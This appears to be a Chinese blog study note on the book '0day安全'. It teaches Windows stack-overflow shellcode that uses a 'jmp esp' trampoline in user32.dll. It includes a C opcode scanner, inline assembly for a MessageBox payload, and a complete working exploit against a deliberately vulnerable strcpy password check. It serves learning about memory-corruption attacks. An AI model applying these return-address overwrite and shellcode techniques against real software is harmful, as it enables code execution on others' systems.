以jmp esp 为跳板的shellcode开发

0x00 Shellcode概述

  • Shellcode与exploit
    1) shellcode:缓冲区攻击中植入进程的代码。进行删改文件、窃取数据、上传木马并运行、格式化硬盘等。用汇编语言编写,并转换成二进制机器码,内容和长度受到苛刻限制。
    2) exploit: 漏洞利用程序,用于生成攻击性的网络数据包或其他形式的攻击性输入。exploit的核心是淹没返回地址,劫持进程控制权,跳去执行shellcode
    3) 区别:shellcode具有一定的通用性,exploit针对特定漏洞
    这里写图片描述

0x01 定位shellcode

  • 漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode在内存中的地址是动态变化的,因此需要exploit在运行时动态定位栈中的shellcode。

  • 函数返回步骤
    1) 保存返回值:函数返回值保存在EAX寄存器
    2) 弹出当前栈帧,恢复上一个栈帧
    a) ESP + 当前栈帧大小:堆栈平衡基础上,降低栈顶,回收当前栈帧空间
    b) POP EBP:前栈帧EBP弹给EBP,恢复上一个栈帧
    c) POP EIP:函数返回地址弹给EIP
    3) 跳转:按EIP的值返回母函数继续执行
    由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。

  • 可用”jmp esp”作为跳板动态定位shellcode
    1) 用内存中任意一个”jmp esp”的地址覆盖返回地址
    2) 函数返回后被重定向去执行内存中jmp esp指令
    3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行
    4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode。

  • 获取跳板的地址
    1) 一些经常被用到的动态链接库会被映射到内存,如kernel.32.dll、user32.dll会被几乎所有进程加载,且加载基址始终相同(不同OS上可能不同)。所有这里使用user32.dll中的jmp esp作为跳板。
    2) 编程搜索jmp esp的内存地址。搜索得到以下地址,从中选取0x77d93acc作为定位shellcode的跳板覆盖函数返回地址。
    这里写图片描述

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
    BYTE* ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf(" load dll erro !");
        exit(0);
    }
    ptr = (BYTE*)handle;

    for(position = 0; !done_flag; position++)
    {
        try
        {
            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
    getchar();
}  
  • shellcode功能需求

    1) 调用MessageBox实现弹窗
    a) 装载user.dll动态链接库,MessageBox是user32.dll的导出函数
    b) 获得函数入口地址,用Dependency Walker打开一个图形界面程序,找到user.dll的基址为0x77D10000,MessageBoxA的偏移地址为0x000407EA,故入口地址为0x77D507EA。
    c) 向栈中压入MessageBoxA的4个参数

    2) 为程序避免堆栈不平衡导致崩溃,调用exit函数让程序正常退出。用Dependency Walker找出ExitProcess函数(Kernel32.dll的导出函数)入口地址,0x7C81CDDA。

int MessageBox
( HWND,     //handle to owner window
LPCTSTR,        //text in message box
LPCTSTR,        //message box title
UINT        //message box style
)
  • shellcode汇编代码
    用EBX清零后入栈作为”failwest”截断符是为了避免PUSH 0中的NULL,否则植入的机器码会被strcpy函数截断。
#include <windows.h>
int main()
{   
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
            sub sp,0x440
            xor ebx,ebx
            push ebx         // cut string
            push 0x74736577
            push 0x6C696166 //push “failwest”

            mov eax,esp     //load address of failwest
            push ebx    // Messagebox (0,failwest,failwest,0)
            push eax
            push eax
            push ebx

            mov  eax, 0x77D507EA    //(0x77D804EA) address should be reset in different OS
            call eax        //call MessageboxA

            push ebx
            mov eax, 0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
            call eax        //call exit(0)
    }
}
  • 将shellcode汇编代码在VC中编译得到的.exe文件放到OllyDbg中调试获得机器码,组织好并放入exploit中。返回地址\xCC\x3A\xD9\x77前填充数据量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h"
#include"string.h"
#include <windows.h>
#define PASSWORD "1234567"

char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77"
                       "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69"
                       "\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77"
                       "\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";

int verify_password (char *password)
{
    int authenticated;
    char buffer[22];// add local buff
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}

void main()
{
    int valid_flag=0;
    LoadLibrary("user32.dll");//prepare for messagebox
    while(1)
    {

        valid_flag = verify_password(password);

        if(valid_flag)
        {
            printf("incorrect password!\n\n");
        }
        else
        {
            printf("Congratulation! You have passed the verification!\n");
            break;
        }
    }
}
  • 原理解释:
    1) 拷贝前后栈中变量分布:
    拷贝前:
    这里写图片描述
    拷贝后:
    这里写图片描述

    2) 函数返回到jmp esp
    这里写图片描述
    此时ESP的值为0x0012FB2C
    这里写图片描述

    3) 执行jmp esp,CPU将取shellcode指令执行
    这里写图片描述

    4) 运行结果:弹窗并正常退出而不报错。
    这里写图片描述


——《0day安全》学习笔记

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 精致技术 设计师:CSDN官方博客 返回首页